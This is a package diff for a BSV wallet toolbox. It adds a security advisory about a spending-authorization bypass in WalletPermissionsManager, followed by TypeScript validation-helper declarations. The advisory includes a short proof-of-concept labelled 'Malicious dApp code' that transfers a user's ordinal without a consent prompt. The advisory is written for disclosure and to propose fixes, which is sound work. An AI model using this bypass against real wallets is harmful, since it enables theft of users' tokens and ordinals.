@bopen-io/wallet-toolbox 1.7.19 → 1.7.20-idb-fix.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/SECURITY-ISSUE-WPM-TOKEN-THEFT.md +218 -0
- package/WPM-vulnerability.md +23 -0
- package/out/src/sdk/validationHelpers.d.ts +303 -0
- package/out/src/sdk/validationHelpers.d.ts.map +1 -0
- package/out/src/sdk/validationHelpers.js +632 -0
- package/out/src/sdk/validationHelpers.js.map +1 -0
- package/out/src/storage/StorageIdb.d.ts.map +1 -1
- package/out/src/storage/StorageIdb.js +166 -82
- package/out/src/storage/StorageIdb.js.map +1 -1
- package/out/src/storage/methods/createAction.js +22 -7
- package/out/src/storage/methods/createAction.js.map +1 -1
- package/out/tsconfig.all.tsbuildinfo +1 -1
- package/package.json +1 -1
- package/src/storage/StorageIdb.ts +192 -78
- package/src/storage/methods/createAction.ts +23 -7
- package/.claude/settings.local.json +0 -14
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
# Security Issue: WalletPermissionsManager Token/Ordinal Theft Vulnerability
|
|
2
|
+
|
|
3
|
+
## Summary
|
|
4
|
+
|
|
5
|
+
A malicious dApp can transfer tokens and ordinals out of a user's wallet without triggering the `onSpendingAuthorizationRequested` callback, bypassing the spending permission prompt entirely.
|
|
6
|
+
|
|
7
|
+
## Severity
|
|
8
|
+
|
|
9
|
+
**HIGH** - This vulnerability allows unauthorized transfer of tokenized assets (ordinals, BSV21 tokens) without user consent.
|
|
10
|
+
|
|
11
|
+
## Affected Component
|
|
12
|
+
|
|
13
|
+
`WalletPermissionsManager.createAction()` in [src/WalletPermissionsManager.ts](src/WalletPermissionsManager.ts#L2598-L2832)
|
|
14
|
+
|
|
15
|
+
## Vulnerability Details
|
|
16
|
+
|
|
17
|
+
### Root Cause
|
|
18
|
+
|
|
19
|
+
The spending authorization check in `createAction` only triggers when `netSpent > 0`:
|
|
20
|
+
|
|
21
|
+
```typescript
|
|
22
|
+
// Line 2798-2813
|
|
23
|
+
netSpent = totalOutputSatoshis + tx.getFee() - totalInputSatoshis
|
|
24
|
+
|
|
25
|
+
if (netSpent > 0) {
|
|
26
|
+
try {
|
|
27
|
+
await this.ensureSpendingAuthorization({
|
|
28
|
+
originator: originator!,
|
|
29
|
+
satoshis: netSpent,
|
|
30
|
+
lineItems,
|
|
31
|
+
reason: originalDescription
|
|
32
|
+
})
|
|
33
|
+
} catch (err) {
|
|
34
|
+
await this.underlying.abortAction({ reference })
|
|
35
|
+
throw err
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
The `netSpent` calculation is based purely on satoshi value:
|
|
41
|
+
- `totalOutputSatoshis` = sum of dApp-requested outputs
|
|
42
|
+
- `totalInputSatoshis` = sum of dApp-requested inputs
|
|
43
|
+
- `netSpent` = outputs + fee - inputs
|
|
44
|
+
|
|
45
|
+
### The Problem
|
|
46
|
+
|
|
47
|
+
This logic only considers satoshi flow, ignoring that UTXOs may carry tokenized assets:
|
|
48
|
+
|
|
49
|
+
1. **1Sat Ordinals** - NFTs stored in 1 satoshi outputs
|
|
50
|
+
2. **BSV21 Tokens** - Fungible tokens in minimal satoshi outputs
|
|
51
|
+
3. **Any protocol using data-carrying outputs**
|
|
52
|
+
|
|
53
|
+
Users should be prompted whenever their assets are being spent, regardless of the net satoshi flow.
|
|
54
|
+
|
|
55
|
+
### Attack Scenario
|
|
56
|
+
|
|
57
|
+
1. User has an ordinal (1 sat UTXO)
|
|
58
|
+
2. Malicious dApp calls `createAction` with:
|
|
59
|
+
- Input: User's ordinal UTXO (1 sat) - dApp knows the outpoint
|
|
60
|
+
- Input: dApp's own 2 sat UTXO (with provided unlockingScript)
|
|
61
|
+
- Output: 2 sats to user's address
|
|
62
|
+
3. Calculation: `netSpent = 2 + fee - (1 + 2) = -1 + fee`
|
|
63
|
+
4. If `fee < 1 sat` (possible for small transactions), `netSpent <= 0`
|
|
64
|
+
5. **No spending prompt fires**
|
|
65
|
+
6. The ordinal is transferred without user approval
|
|
66
|
+
|
|
67
|
+
### Why This Works
|
|
68
|
+
|
|
69
|
+
The dApp provides its own inputs with `unlockingScript` already specified - those don't require the wallet to sign them. The wallet only needs to sign the user's ordinal input. Since `netSpent <= 0`, no authorization is requested, and the wallet automatically signs and broadcasts the transaction.
|
|
70
|
+
|
|
71
|
+
## Impact
|
|
72
|
+
|
|
73
|
+
- **Unauthorized transfer of ordinals** without user knowledge
|
|
74
|
+
- **Unauthorized transfer of BSV21 tokens** without user knowledge
|
|
75
|
+
- **Any wallet-owned UTXO** can be transferred if the attacker provides offsetting satoshi value
|
|
76
|
+
- Users lose control over their tokenized assets
|
|
77
|
+
|
|
78
|
+
## Proof of Concept
|
|
79
|
+
|
|
80
|
+
```typescript
|
|
81
|
+
// Malicious dApp code
|
|
82
|
+
async function transferOrdinalWithoutConsent(walletClient, targetOrdinalOutpoint: string) {
|
|
83
|
+
const result = await walletClient.createAction({
|
|
84
|
+
description: "Legitimate-looking transaction",
|
|
85
|
+
inputs: [
|
|
86
|
+
{
|
|
87
|
+
// User's ordinal - wallet will sign this
|
|
88
|
+
outpoint: targetOrdinalOutpoint, // e.g., "abc123...def.0"
|
|
89
|
+
unlockingScriptLength: 107
|
|
90
|
+
},
|
|
91
|
+
{
|
|
92
|
+
// Attacker's funding input - already unlocked
|
|
93
|
+
outpoint: "attacker-utxo-txid.0",
|
|
94
|
+
unlockingScript: "3044..." // Pre-signed by attacker
|
|
95
|
+
}
|
|
96
|
+
],
|
|
97
|
+
outputs: [
|
|
98
|
+
{
|
|
99
|
+
// Return some sats to user (to make netSpent <= 0)
|
|
100
|
+
satoshis: 2,
|
|
101
|
+
lockingScript: "76a914..." // user's address
|
|
102
|
+
},
|
|
103
|
+
{
|
|
104
|
+
// Take the ordinal
|
|
105
|
+
satoshis: 1,
|
|
106
|
+
lockingScript: "76a914..." // attacker's address
|
|
107
|
+
}
|
|
108
|
+
]
|
|
109
|
+
});
|
|
110
|
+
// Ordinal transferred without any user prompt
|
|
111
|
+
}
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
## Proposed Fix
|
|
115
|
+
|
|
116
|
+
### Option 1: Always Prompt for Wallet-Owned Inputs (Recommended)
|
|
117
|
+
|
|
118
|
+
Trigger `onSpendingAuthorizationRequested` whenever any wallet-owned input is being consumed, regardless of `netSpent` value:
|
|
119
|
+
|
|
120
|
+
```typescript
|
|
121
|
+
// Check if any wallet-owned inputs are being consumed
|
|
122
|
+
const hasWalletOwnedInputs = args.inputs?.some(input => {
|
|
123
|
+
// An input is wallet-owned if it doesn't have a pre-provided unlockingScript
|
|
124
|
+
return !input.unlockingScript;
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
if (netSpent > 0 || hasWalletOwnedInputs) {
|
|
128
|
+
await this.ensureSpendingAuthorization({...});
|
|
129
|
+
}
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Option 2: Protected Baskets Configuration
|
|
133
|
+
|
|
134
|
+
Add a configuration option to specify baskets that always require spending authorization:
|
|
135
|
+
|
|
136
|
+
```typescript
|
|
137
|
+
interface PermissionsManagerConfig {
|
|
138
|
+
// ... existing config
|
|
139
|
+
|
|
140
|
+
/**
|
|
141
|
+
* Baskets that always require spending authorization when consumed as inputs,
|
|
142
|
+
* regardless of netSpent value. Use this for tokenized assets.
|
|
143
|
+
*/
|
|
144
|
+
alwaysPromptForBasketInputs?: string[];
|
|
145
|
+
}
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
Then in `createAction`:
|
|
149
|
+
|
|
150
|
+
```typescript
|
|
151
|
+
// Check if any inputs belong to protected baskets
|
|
152
|
+
const protectedBaskets = this.config.alwaysPromptForBasketInputs || [];
|
|
153
|
+
let consumesProtectedAsset = false;
|
|
154
|
+
|
|
155
|
+
if (protectedBaskets.length > 0) {
|
|
156
|
+
for (const input of args.inputs || []) {
|
|
157
|
+
// Query the output's basket membership
|
|
158
|
+
const outputInfo = await this.underlying.listOutputs({
|
|
159
|
+
outpoint: input.outpoint,
|
|
160
|
+
include: 'locking scripts'
|
|
161
|
+
});
|
|
162
|
+
if (outputInfo.outputs.length > 0) {
|
|
163
|
+
const basket = outputInfo.outputs[0].basket;
|
|
164
|
+
if (basket && protectedBaskets.includes(basket)) {
|
|
165
|
+
consumesProtectedAsset = true;
|
|
166
|
+
break;
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
if (netSpent > 0 || consumesProtectedAsset) {
|
|
173
|
+
await this.ensureSpendingAuthorization({...});
|
|
174
|
+
}
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### Option 3: Hybrid Approach
|
|
178
|
+
|
|
179
|
+
Combine both options - always prompt for wallet-owned inputs, but provide extra context when protected baskets are involved:
|
|
180
|
+
|
|
181
|
+
```typescript
|
|
182
|
+
if (netSpent > 0 || hasWalletOwnedInputs) {
|
|
183
|
+
const lineItemsWithAssetInfo = await this.enrichLineItemsWithAssetInfo(lineItems, args.inputs);
|
|
184
|
+
await this.ensureSpendingAuthorization({
|
|
185
|
+
satoshis: Math.max(netSpent, 0),
|
|
186
|
+
lineItems: lineItemsWithAssetInfo,
|
|
187
|
+
// New field to indicate asset consumption
|
|
188
|
+
consumesAssets: consumesProtectedAsset,
|
|
189
|
+
assetBaskets: consumedBaskets
|
|
190
|
+
});
|
|
191
|
+
}
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
## Application-Level Mitigation (Interim)
|
|
195
|
+
|
|
196
|
+
Until a fix is implemented, applications can protect tokenized assets by:
|
|
197
|
+
|
|
198
|
+
1. **Derived key locking scripts**: Store ordinals/tokens with locking scripts that require `customInstructions` for signing. The wallet cannot auto-sign without derivation info, so malicious dApps can't spend them.
|
|
199
|
+
|
|
200
|
+
2. **Custom permission modules**: Implement a `PermissionsModule` for token baskets that enforces additional checks.
|
|
201
|
+
|
|
202
|
+
## Related Files
|
|
203
|
+
|
|
204
|
+
- [src/WalletPermissionsManager.ts](src/WalletPermissionsManager.ts) - Main implementation
|
|
205
|
+
- [src/__tests/WalletPermissionsManager.proxying.test.ts](src/__tests/WalletPermissionsManager.proxying.test.ts) - Existing tests
|
|
206
|
+
- [src/__tests/WalletPermissionsManager.tokens.test.ts](src/__tests/WalletPermissionsManager.tokens.test.ts) - Token tests
|
|
207
|
+
|
|
208
|
+
## Test Cases to Add
|
|
209
|
+
|
|
210
|
+
1. Should trigger spending authorization when consuming wallet-owned inputs with netSpent <= 0
|
|
211
|
+
2. Should trigger spending authorization when consuming inputs from protected baskets
|
|
212
|
+
3. Should include asset information in spending authorization request
|
|
213
|
+
4. Should not be bypassable by providing offsetting external inputs
|
|
214
|
+
|
|
215
|
+
## References
|
|
216
|
+
|
|
217
|
+
- BRC-98: Wallet Protocol Permissions
|
|
218
|
+
- BRC-99: Spending Authorizations
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
The vulnerability is in WalletPermissionsManager.createAction():
|
|
2
|
+
|
|
3
|
+
Issue: onSpendingAuthorizationRequested can be bypassed for token/ordinal theft
|
|
4
|
+
|
|
5
|
+
WalletPermissionsManager only triggers onSpendingAuthorizationRequested when netSpent > 0. The calculation:
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
netSpent = (dApp-requested outputs) + fee - (dApp-requested inputs)
|
|
9
|
+
This works for satoshi value but fails for tokens/ordinals where a 1 sat UTXO may hold significant value.
|
|
10
|
+
|
|
11
|
+
Attack scenario:
|
|
12
|
+
|
|
13
|
+
User has ordinal worth 1 sat (but $1000 market value)
|
|
14
|
+
Malicious dApp calls createAction with:
|
|
15
|
+
User's ordinal as input (1 sat)
|
|
16
|
+
dApp's own 2 sat input (with provided unlockingScript)
|
|
17
|
+
Output: 2 sats to user
|
|
18
|
+
netSpent = 2 + fee - 3 = -1 + fee
|
|
19
|
+
If fee < 1 sat, no spending prompt fires
|
|
20
|
+
User loses ordinal without approval
|
|
21
|
+
Mitigation (application-level): Store tokens/ordinals with derived key locking scripts. The wallet can't auto-sign without derivation info in customInstructions, so malicious dApps can't spend them even if they bypass the spending prompt.
|
|
22
|
+
|
|
23
|
+
Potential fix (WPM-level): Consider triggering onSpendingAuthorizationRequested whenever wallet-owned inputs are consumed, regardless of netSpent value. Or add a config option like alwaysPromptForBasketInputs: ['1sat', 'bsv21'].
|
|
@@ -0,0 +1,303 @@
|
|
|
1
|
+
import { AbortActionArgs, AcquireCertificateArgs, AcquisitionProtocol, AtomicBEEF, Base64String, BasketInsertion, BasketStringUnder300Bytes, BEEF, BooleanDefaultFalse, BooleanDefaultTrue, CertificateFieldNameUnder50Bytes, CreateActionArgs, CreateActionInput, CreateActionOptions, CreateActionOutput, DescriptionString5to50Bytes, DiscoverByAttributesArgs, DiscoverByIdentityKeyArgs, HexString, InternalizeActionArgs, InternalizeOutput, KeyringRevealer, LabelStringUnder300Bytes, ListActionsArgs, ListCertificatesArgs, ListOutputsArgs, OutpointString, OutputTagStringUnder300Bytes, PositiveInteger, PositiveIntegerDefault10Max10000, PositiveIntegerOrZero, ProveCertificateArgs, PubKeyHex, RelinquishCertificateArgs, RelinquishOutputArgs, SatoshiValue, SignActionArgs, SignActionOptions, SignActionSpend, TrustSelf, TXIDHexString, WalletPayment } from '@bsv/sdk';
|
|
2
|
+
import { OutPoint } from './types';
|
|
3
|
+
export declare function parseWalletOutpoint(outpoint: string): {
|
|
4
|
+
txid: string;
|
|
5
|
+
vout: number;
|
|
6
|
+
};
|
|
7
|
+
export declare function validateSatoshis(v: number | undefined, name: string, min?: number): number;
|
|
8
|
+
export declare function validateOptionalInteger(v: number | undefined, name: string, min?: number, max?: number): number | undefined;
|
|
9
|
+
export declare function validateInteger(v: number | undefined, name: string, defaultValue?: number, min?: number, max?: number): number;
|
|
10
|
+
export declare function validatePositiveIntegerOrZero(v: number, name: string): number;
|
|
11
|
+
export declare function validateStringLength(s: string, name: string, min?: number, max?: number): string;
|
|
12
|
+
export declare function isHexString(s: string): boolean;
|
|
13
|
+
/**
|
|
14
|
+
* @typedef {string & { minLength: 5, maxLength: 2000 }} DescriptionString5to2000Bytes
|
|
15
|
+
* A string used for descriptions, with a length between 5 and 2000 characters.
|
|
16
|
+
*/
|
|
17
|
+
export type DescriptionString5to2000Bytes = string;
|
|
18
|
+
export interface ValidWalletSignerArgs {
|
|
19
|
+
}
|
|
20
|
+
export interface ValidCreateActionInput {
|
|
21
|
+
outpoint: OutPoint;
|
|
22
|
+
inputDescription: DescriptionString5to2000Bytes;
|
|
23
|
+
sequenceNumber: PositiveIntegerOrZero;
|
|
24
|
+
unlockingScript?: HexString;
|
|
25
|
+
unlockingScriptLength: PositiveInteger;
|
|
26
|
+
}
|
|
27
|
+
export declare function validateCreateActionInput(i: CreateActionInput): ValidCreateActionInput;
|
|
28
|
+
export interface ValidCreateActionOutput {
|
|
29
|
+
lockingScript: HexString;
|
|
30
|
+
satoshis: SatoshiValue;
|
|
31
|
+
outputDescription: DescriptionString5to2000Bytes;
|
|
32
|
+
basket?: BasketStringUnder300Bytes;
|
|
33
|
+
customInstructions?: string;
|
|
34
|
+
tags: BasketStringUnder300Bytes[];
|
|
35
|
+
}
|
|
36
|
+
export declare function validateCreateActionOutput(o: CreateActionOutput): ValidCreateActionOutput;
|
|
37
|
+
/**
|
|
38
|
+
* Set all default true/false booleans to true or false if undefined.
|
|
39
|
+
* Set all possibly undefined numbers to their default values.
|
|
40
|
+
* Set all possibly undefined arrays to empty arrays.
|
|
41
|
+
* Convert string outpoints to `{ txid: string, vout: number }`
|
|
42
|
+
*/
|
|
43
|
+
export declare function validateCreateActionOptions(options?: CreateActionOptions): ValidCreateActionOptions;
|
|
44
|
+
export interface ValidProcessActionOptions {
|
|
45
|
+
acceptDelayedBroadcast: BooleanDefaultTrue;
|
|
46
|
+
returnTXIDOnly: BooleanDefaultFalse;
|
|
47
|
+
noSend: BooleanDefaultFalse;
|
|
48
|
+
sendWith: TXIDHexString[];
|
|
49
|
+
}
|
|
50
|
+
export interface ValidCreateActionOptions extends ValidProcessActionOptions {
|
|
51
|
+
signAndProcess: boolean;
|
|
52
|
+
trustSelf?: TrustSelf;
|
|
53
|
+
knownTxids: TXIDHexString[];
|
|
54
|
+
noSendChange: OutPoint[];
|
|
55
|
+
randomizeOutputs: boolean;
|
|
56
|
+
}
|
|
57
|
+
export interface ValidSignActionOptions extends ValidProcessActionOptions {
|
|
58
|
+
acceptDelayedBroadcast: boolean;
|
|
59
|
+
returnTXIDOnly: boolean;
|
|
60
|
+
noSend: boolean;
|
|
61
|
+
sendWith: TXIDHexString[];
|
|
62
|
+
}
|
|
63
|
+
export interface ValidProcessActionArgs extends ValidWalletSignerArgs {
|
|
64
|
+
options: ValidProcessActionOptions;
|
|
65
|
+
isSendWith: boolean;
|
|
66
|
+
isNewTx: boolean;
|
|
67
|
+
isRemixChange: boolean;
|
|
68
|
+
isNoSend: boolean;
|
|
69
|
+
isDelayed: boolean;
|
|
70
|
+
}
|
|
71
|
+
export interface ValidCreateActionArgs extends ValidProcessActionArgs {
|
|
72
|
+
description: DescriptionString5to2000Bytes;
|
|
73
|
+
inputBEEF?: BEEF;
|
|
74
|
+
inputs: ValidCreateActionInput[];
|
|
75
|
+
outputs: ValidCreateActionOutput[];
|
|
76
|
+
lockTime: number;
|
|
77
|
+
version: number;
|
|
78
|
+
labels: string[];
|
|
79
|
+
options: ValidCreateActionOptions;
|
|
80
|
+
isSignAction: boolean;
|
|
81
|
+
randomVals?: number[];
|
|
82
|
+
/**
|
|
83
|
+
* If true, signableTransactions will include sourceTransaction for each input,
|
|
84
|
+
* including those that do not require signature and those that were also contained
|
|
85
|
+
* in the inputBEEF.
|
|
86
|
+
*/
|
|
87
|
+
includeAllSourceTransactions: boolean;
|
|
88
|
+
}
|
|
89
|
+
export interface ValidSignActionArgs extends ValidProcessActionArgs {
|
|
90
|
+
spends: Record<PositiveIntegerOrZero, SignActionSpend>;
|
|
91
|
+
reference: Base64String;
|
|
92
|
+
options: ValidSignActionOptions;
|
|
93
|
+
}
|
|
94
|
+
export declare function validateCreateActionArgs(args: CreateActionArgs): ValidCreateActionArgs;
|
|
95
|
+
/**
|
|
96
|
+
* Set all default true/false booleans to true or false if undefined.
|
|
97
|
+
* Set all possibly undefined numbers to their default values.
|
|
98
|
+
* Set all possibly undefined arrays to empty arrays.
|
|
99
|
+
* Convert string outpoints to `{ txid: string, vout: number }`
|
|
100
|
+
*/
|
|
101
|
+
export declare function validateSignActionOptions(options?: SignActionOptions): ValidSignActionOptions;
|
|
102
|
+
export declare function validateSignActionArgs(args: SignActionArgs): ValidSignActionArgs;
|
|
103
|
+
export interface ValidAbortActionArgs extends ValidWalletSignerArgs {
|
|
104
|
+
reference: Base64String;
|
|
105
|
+
}
|
|
106
|
+
export declare function validateAbortActionArgs(args: AbortActionArgs): ValidAbortActionArgs;
|
|
107
|
+
export interface ValidWalletPayment {
|
|
108
|
+
derivationPrefix: Base64String;
|
|
109
|
+
derivationSuffix: Base64String;
|
|
110
|
+
senderIdentityKey: PubKeyHex;
|
|
111
|
+
}
|
|
112
|
+
export declare function validateWalletPayment(args?: WalletPayment): ValidWalletPayment | undefined;
|
|
113
|
+
export interface ValidBasketInsertion {
|
|
114
|
+
basket: BasketStringUnder300Bytes;
|
|
115
|
+
customInstructions?: string;
|
|
116
|
+
tags: BasketStringUnder300Bytes[];
|
|
117
|
+
}
|
|
118
|
+
export declare function validateBasketInsertion(args?: BasketInsertion): ValidBasketInsertion | undefined;
|
|
119
|
+
export interface ValidInternalizeOutput {
|
|
120
|
+
outputIndex: PositiveIntegerOrZero;
|
|
121
|
+
protocol: 'wallet payment' | 'basket insertion';
|
|
122
|
+
paymentRemittance?: ValidWalletPayment;
|
|
123
|
+
insertionRemittance?: ValidBasketInsertion;
|
|
124
|
+
}
|
|
125
|
+
export declare function validateInternalizeOutput(args: InternalizeOutput): ValidInternalizeOutput;
|
|
126
|
+
export interface ValidInternalizeActionArgs extends ValidWalletSignerArgs {
|
|
127
|
+
tx: AtomicBEEF;
|
|
128
|
+
outputs: InternalizeOutput[];
|
|
129
|
+
description: DescriptionString5to2000Bytes;
|
|
130
|
+
labels: LabelStringUnder300Bytes[];
|
|
131
|
+
seekPermission: BooleanDefaultTrue;
|
|
132
|
+
}
|
|
133
|
+
export declare function validateOriginator(s?: string): string | undefined;
|
|
134
|
+
export declare function validateInternalizeActionArgs(args: InternalizeActionArgs): ValidInternalizeActionArgs;
|
|
135
|
+
export declare function validateOptionalOutpointString(outpoint: string | undefined, name: string): string | undefined;
|
|
136
|
+
export declare function validateOutpointString(outpoint: string, name: string): string;
|
|
137
|
+
export interface ValidRelinquishOutputArgs extends ValidWalletSignerArgs {
|
|
138
|
+
basket: BasketStringUnder300Bytes;
|
|
139
|
+
output: OutpointString;
|
|
140
|
+
}
|
|
141
|
+
export declare function validateRelinquishOutputArgs(args: RelinquishOutputArgs): ValidRelinquishOutputArgs;
|
|
142
|
+
export interface ValidRelinquishCertificateArgs extends ValidWalletSignerArgs {
|
|
143
|
+
type: Base64String;
|
|
144
|
+
serialNumber: Base64String;
|
|
145
|
+
certifier: PubKeyHex;
|
|
146
|
+
}
|
|
147
|
+
export declare function validateRelinquishCertificateArgs(args: RelinquishCertificateArgs): ValidRelinquishCertificateArgs;
|
|
148
|
+
export interface ValidListCertificatesArgs extends ValidWalletSignerArgs {
|
|
149
|
+
partial?: {
|
|
150
|
+
type?: Base64String;
|
|
151
|
+
serialNumber?: Base64String;
|
|
152
|
+
certifier?: PubKeyHex;
|
|
153
|
+
subject?: PubKeyHex;
|
|
154
|
+
revocationOutpoint?: OutpointString;
|
|
155
|
+
signature?: HexString;
|
|
156
|
+
};
|
|
157
|
+
certifiers: PubKeyHex[];
|
|
158
|
+
types: Base64String[];
|
|
159
|
+
limit: PositiveIntegerDefault10Max10000;
|
|
160
|
+
offset: PositiveIntegerOrZero;
|
|
161
|
+
privileged: BooleanDefaultFalse;
|
|
162
|
+
privilegedReason?: DescriptionString5to50Bytes;
|
|
163
|
+
}
|
|
164
|
+
export declare function validateListCertificatesArgs(args: ListCertificatesArgs): ValidListCertificatesArgs;
|
|
165
|
+
export interface ValidAcquireCertificateArgs extends ValidWalletSignerArgs {
|
|
166
|
+
acquisitionProtocol: AcquisitionProtocol;
|
|
167
|
+
type: Base64String;
|
|
168
|
+
serialNumber?: Base64String;
|
|
169
|
+
certifier: PubKeyHex;
|
|
170
|
+
revocationOutpoint?: OutpointString;
|
|
171
|
+
fields: Record<CertificateFieldNameUnder50Bytes, string>;
|
|
172
|
+
signature?: HexString;
|
|
173
|
+
certifierUrl?: string;
|
|
174
|
+
keyringRevealer?: KeyringRevealer;
|
|
175
|
+
keyringForSubject?: Record<CertificateFieldNameUnder50Bytes, Base64String>;
|
|
176
|
+
privileged: boolean;
|
|
177
|
+
privilegedReason?: DescriptionString5to50Bytes;
|
|
178
|
+
}
|
|
179
|
+
/**
|
|
180
|
+
*
|
|
181
|
+
* @param args
|
|
182
|
+
* @param subject Must be valid for "direct" `acquisitionProtocol`. public key of the certificate subject.
|
|
183
|
+
* @returns
|
|
184
|
+
*/
|
|
185
|
+
export declare function validateAcquireCertificateArgs(args: AcquireCertificateArgs): Promise<ValidAcquireCertificateArgs>;
|
|
186
|
+
export interface ValidAcquireDirectCertificateArgs extends ValidWalletSignerArgs {
|
|
187
|
+
type: Base64String;
|
|
188
|
+
serialNumber: Base64String;
|
|
189
|
+
certifier: PubKeyHex;
|
|
190
|
+
revocationOutpoint: OutpointString;
|
|
191
|
+
fields: Record<CertificateFieldNameUnder50Bytes, string>;
|
|
192
|
+
signature: HexString;
|
|
193
|
+
/**
|
|
194
|
+
* validated to an empty string, must be provided by wallet and must
|
|
195
|
+
* match expectations of keyringForSubject
|
|
196
|
+
*/
|
|
197
|
+
subject: PubKeyHex;
|
|
198
|
+
keyringRevealer: KeyringRevealer;
|
|
199
|
+
keyringForSubject: Record<CertificateFieldNameUnder50Bytes, Base64String>;
|
|
200
|
+
privileged: boolean;
|
|
201
|
+
privilegedReason?: DescriptionString5to50Bytes;
|
|
202
|
+
}
|
|
203
|
+
export interface ValidAcquireIssuanceCertificateArgs extends ValidWalletSignerArgs {
|
|
204
|
+
type: Base64String;
|
|
205
|
+
certifier: PubKeyHex;
|
|
206
|
+
certifierUrl: string;
|
|
207
|
+
fields: Record<CertificateFieldNameUnder50Bytes, string>;
|
|
208
|
+
/**
|
|
209
|
+
* validated to an empty string, must be provided by wallet and must
|
|
210
|
+
* match expectations of keyringForSubject
|
|
211
|
+
*/
|
|
212
|
+
subject: PubKeyHex;
|
|
213
|
+
privileged: boolean;
|
|
214
|
+
privilegedReason?: DescriptionString5to50Bytes;
|
|
215
|
+
}
|
|
216
|
+
export declare function validateAcquireIssuanceCertificateArgs(args: AcquireCertificateArgs): ValidAcquireIssuanceCertificateArgs;
|
|
217
|
+
export declare function validateAcquireDirectCertificateArgs(args: AcquireCertificateArgs): ValidAcquireDirectCertificateArgs;
|
|
218
|
+
export interface ValidProveCertificateArgs extends ValidWalletSignerArgs {
|
|
219
|
+
type?: Base64String;
|
|
220
|
+
serialNumber?: Base64String;
|
|
221
|
+
certifier?: PubKeyHex;
|
|
222
|
+
subject?: PubKeyHex;
|
|
223
|
+
revocationOutpoint?: OutpointString;
|
|
224
|
+
signature?: HexString;
|
|
225
|
+
fieldsToReveal: CertificateFieldNameUnder50Bytes[];
|
|
226
|
+
verifier: PubKeyHex;
|
|
227
|
+
privileged: boolean;
|
|
228
|
+
privilegedReason?: DescriptionString5to50Bytes;
|
|
229
|
+
}
|
|
230
|
+
export declare function validateProveCertificateArgs(args: ProveCertificateArgs): ValidProveCertificateArgs;
|
|
231
|
+
export interface ValidDiscoverByIdentityKeyArgs extends ValidWalletSignerArgs {
|
|
232
|
+
identityKey: PubKeyHex;
|
|
233
|
+
limit: PositiveIntegerDefault10Max10000;
|
|
234
|
+
offset: PositiveIntegerOrZero;
|
|
235
|
+
seekPermission: boolean;
|
|
236
|
+
}
|
|
237
|
+
export declare function validateDiscoverByIdentityKeyArgs(args: DiscoverByIdentityKeyArgs): ValidDiscoverByIdentityKeyArgs;
|
|
238
|
+
export interface ValidDiscoverByAttributesArgs extends ValidWalletSignerArgs {
|
|
239
|
+
attributes: Record<CertificateFieldNameUnder50Bytes, string>;
|
|
240
|
+
limit: PositiveIntegerDefault10Max10000;
|
|
241
|
+
offset: PositiveIntegerOrZero;
|
|
242
|
+
seekPermission: boolean;
|
|
243
|
+
}
|
|
244
|
+
export declare function validateDiscoverByAttributesArgs(args: DiscoverByAttributesArgs): ValidDiscoverByAttributesArgs;
|
|
245
|
+
export interface ValidListOutputsArgs extends ValidWalletSignerArgs {
|
|
246
|
+
basket: BasketStringUnder300Bytes;
|
|
247
|
+
tags: OutputTagStringUnder300Bytes[];
|
|
248
|
+
tagQueryMode: 'all' | 'any';
|
|
249
|
+
includeLockingScripts: boolean;
|
|
250
|
+
includeTransactions: boolean;
|
|
251
|
+
includeCustomInstructions: BooleanDefaultFalse;
|
|
252
|
+
includeTags: BooleanDefaultFalse;
|
|
253
|
+
includeLabels: BooleanDefaultFalse;
|
|
254
|
+
limit: PositiveIntegerDefault10Max10000;
|
|
255
|
+
offset: number;
|
|
256
|
+
seekPermission: BooleanDefaultTrue;
|
|
257
|
+
knownTxids: string[];
|
|
258
|
+
}
|
|
259
|
+
/**
|
|
260
|
+
* @param {BasketStringUnder300Bytes} args.basket - Required. The associated basket name whose outputs should be listed.
|
|
261
|
+
* @param {OutputTagStringUnder300Bytes[]} [args.tags] - Optional. Filter outputs based on these tags.
|
|
262
|
+
* @param {'all' | 'any'} [args.tagQueryMode] - Optional. Filter mode, defining whether all or any of the tags must match. By default, any tag can match.
|
|
263
|
+
* @param {'locking scripts' | 'entire transactions'} [args.include] - Optional. Whether to include locking scripts (with each output) or entire transactions (as aggregated BEEF, at the top level) in the result. By default, unless specified, neither are returned.
|
|
264
|
+
* @param {BooleanDefaultFalse} [args.includeEntireTransactions] - Optional. Whether to include the entire transaction(s) in the result.
|
|
265
|
+
* @param {BooleanDefaultFalse} [args.includeCustomInstructions] - Optional. Whether custom instructions should be returned in the result.
|
|
266
|
+
* @param {BooleanDefaultFalse} [args.includeTags] - Optional. Whether the tags associated with the output should be returned.
|
|
267
|
+
* @param {BooleanDefaultFalse} [args.includeLabels] - Optional. Whether the labels associated with the transaction containing the output should be returned.
|
|
268
|
+
* @param {PositiveIntegerDefault10Max10000} [args.limit] - Optional limit on the number of outputs to return.
|
|
269
|
+
* @param {number} [args.offset] - If positive or zero: Number of outputs to skip before starting to return results, oldest first.
|
|
270
|
+
* If negative: Outputs are returned newest first and offset of -1 is the newest output.
|
|
271
|
+
* When using negative offsets, caution is required as new outputs may be added between calls,
|
|
272
|
+
* potentially causing outputs to be duplicated across calls.
|
|
273
|
+
* @param {BooleanDefaultTrue} [args.seekPermission] — Optional. Whether to seek permission from the user for this operation if required. Default true, will return an error rather than proceed if set to false.
|
|
274
|
+
*/
|
|
275
|
+
export declare function validateListOutputsArgs(args: ListOutputsArgs): ValidListOutputsArgs;
|
|
276
|
+
export interface ValidListActionsArgs extends ValidWalletSignerArgs {
|
|
277
|
+
labels: LabelStringUnder300Bytes[];
|
|
278
|
+
labelQueryMode: 'any' | 'all';
|
|
279
|
+
includeLabels: BooleanDefaultFalse;
|
|
280
|
+
includeInputs: BooleanDefaultFalse;
|
|
281
|
+
includeInputSourceLockingScripts: BooleanDefaultFalse;
|
|
